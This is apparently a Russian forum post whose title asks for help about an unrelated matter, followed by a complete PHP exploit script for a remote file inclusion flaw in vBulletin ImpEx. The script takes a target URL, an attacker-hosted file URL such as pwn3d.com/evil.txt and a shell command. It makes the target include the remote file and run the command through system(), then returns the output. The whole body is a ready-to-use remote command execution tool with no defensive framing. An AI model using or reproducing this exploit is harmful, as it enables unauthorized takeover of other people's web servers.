Поможите, люди добрые (О Distance)

<?php
/*
vbulletin ImpEx Remote File Inclusion Exploit c0ded by ReZEN
Sh0uts: xorcrew.net, ajax, gml, #subterrain, My gf
url:  http://www.xorcrew.net/ReZEN

example:
turl: http://www.target.com/impex/ImpExData.php?systempath=
hurl:http://www.pwn3d.com/evil.txt?

*/

$cmd = $_POST["cmd"];
$turl = $_POST["turl"];
$hurl = $_POST["hurl"];

$form= "<form method=\"post\" action=\"".$PHP_SELF."\">"
    ."turl:
<input type=\"text\" name=\"turl\" size=\"90\"
value=\"".$turl."\">
"
    ."hurl:
<input type=\"text\" name=\"hurl\" size=\"90\"
value=\"".$hurl."\">
"
    ."cmd:
<input type=\"text\" name=\"cmd\" size=\"90\"
value=\"".$cmd."\">
"
    ."<input type=\"submit\" value=\"Submit\" name=\"submit\">"

    ."</form><HR WIDTH=\"650\" ALIGN=\"LEFT\">";

if (!isset($_POST['submit']))
{

echo $form;

}else{

$file = fopen ("test.txt", "w+");

fwrite($file, "<?php system(\"echo ++BEGIN++\"); system(\"".$cmd."\");
system(\"echo ++END++\"); ?>");
fclose($file);

$file = fopen ($turl.$hurl, "r");
if (!$file) {
    echo "<p>Unable to get output.\n";
    exit;
}

echo $form;

while (!feof ($file)) {
    $line .= fgets ($file, 1024)."
";
    }
$tpos1 = strpos($line, "++BEGIN++");
$tpos2 = strpos($line, "++END++");
$tpos1 = $tpos1+strlen("++BEGIN++");
$tpos2 = $tpos2-$tpos1;
$output = substr($line, $tpos1, $tpos2);
echo $output;

}
?>